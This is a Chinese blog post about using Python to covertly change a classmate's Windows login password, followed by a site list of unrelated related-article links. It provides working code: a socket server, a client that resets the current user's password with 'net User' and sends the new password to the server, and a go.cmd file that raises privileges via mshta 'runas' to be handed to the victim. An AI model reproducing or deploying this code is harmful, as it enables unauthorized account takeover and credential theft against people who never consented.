Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python处理cookie详解
Feb 07 Python
python操作xml文件示例
Apr 07 Python
总结网络IO模型与select模型的Python实例讲解
Jun 27 Python
从CentOS安装完成到生成词云python的实例
Dec 01 Python
Windows环境下python环境安装使用图文教程
Mar 13 Python
Python玩转Excel的读写改实例
Feb 22 Python
django 前端页面如何实现显示前N条数据
Mar 16 Python
浅谈django 模型类使用save()方法的好处与注意事项
Mar 28 Python
关于python 跨域处理方式详解
Mar 28 Python
python 两种方法修改文件的创建时间、修改时间、访问时间
Sep 26 Python
PyCharm2019.3永久激活破解详细图文教程,亲测可用(不定期更新)
Oct 29 Python
如何用 Python 制作 GitHub 消息助手
Feb 20 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
php批量上传的实现代码
2013/06/09 PHP
php 读取文件头判断文件类型的实现代码
2013/08/05 PHP
php导出word文档与excel电子表格的简单示例代码
2014/03/08 PHP
基于jquery的下拉框改变动态添加和删除表格实现代码
2020/09/12 Javascript
深入理解JavaScript系列(1) 编写高质量JavaScript代码的基本要点
2012/01/15 Javascript
JavaScript 学习笔记之数据类型
2015/01/14 Javascript
JavaScript学习笔记之DOM基础 2.4
2015/08/14 Javascript
AngularJS基础 ng-non-bindable 指令详细介绍
2016/08/02 Javascript
JavaScript里 ==与===区别详解
2016/08/16 Javascript
AngularJs Understanding the Controller Component
2016/09/02 Javascript
Vue.js基础知识小结
2017/01/13 Javascript
Vue报错:Uncaught TypeError: Cannot assign to read only property’exports‘ of object’#‘的解决方法
2017/06/17 Javascript
详解webpack 如何集成第三方js库
2017/06/29 Javascript
JavaScript框架Angular和React深度对比
2017/11/20 Javascript
基于rollup的组件库打包体积优化小结
2018/06/18 Javascript
nodejs同步调用获取mysql数据时遇到的大坑
2019/03/02 NodeJs
微信小程序实现页面跳转传递参数(实体,对象)
2019/08/12 Javascript
Vue组件间数据传递的方式(3种)
2020/07/13 Javascript
vue项目,代码提交至码云,iconfont的用法说明
2020/07/30 Javascript
Python中__slots__属性介绍与基本使用方法
2018/09/05 Python
Python实现的矩阵转置与矩阵相乘运算示例
2019/03/26 Python
python二维码操作:对QRCode和MyQR入门详解
2019/06/24 Python
python读写csv文件并增加行列的实例代码
2019/08/01 Python
python各类经纬度转换的实例代码
2019/08/08 Python
pycharm工具连接mysql数据库失败问题
2020/04/01 Python
python argparse模块通过后台传递参数实例
2020/04/20 Python
实例讲解利用HTML5 Canvas API操作图形旋转的方法
2016/03/22 HTML / CSS
ET Mall东森购物网:东森严选
2017/03/06 全球购物
乐天旅游香港网站:日本饭店预订
2017/11/29 全球购物
如何编写优秀的食品项目创业计划书
2014/01/23 职场文书
2014年青年教师工作总结
2014/12/17 职场文书
优秀党员推荐材料
2014/12/18 职场文书
学校清洁工岗位职责
2015/04/15 职场文书
公司转让协议书
2016/03/19 职场文书
Golang中异常处理机制详解
2021/06/08 Golang
【DOTA2】半决赛强强对话~ PSG LGD vs EHOME - DPC 2022 CN REGIONAL FINALS WINTER
2022/04/02 DOTA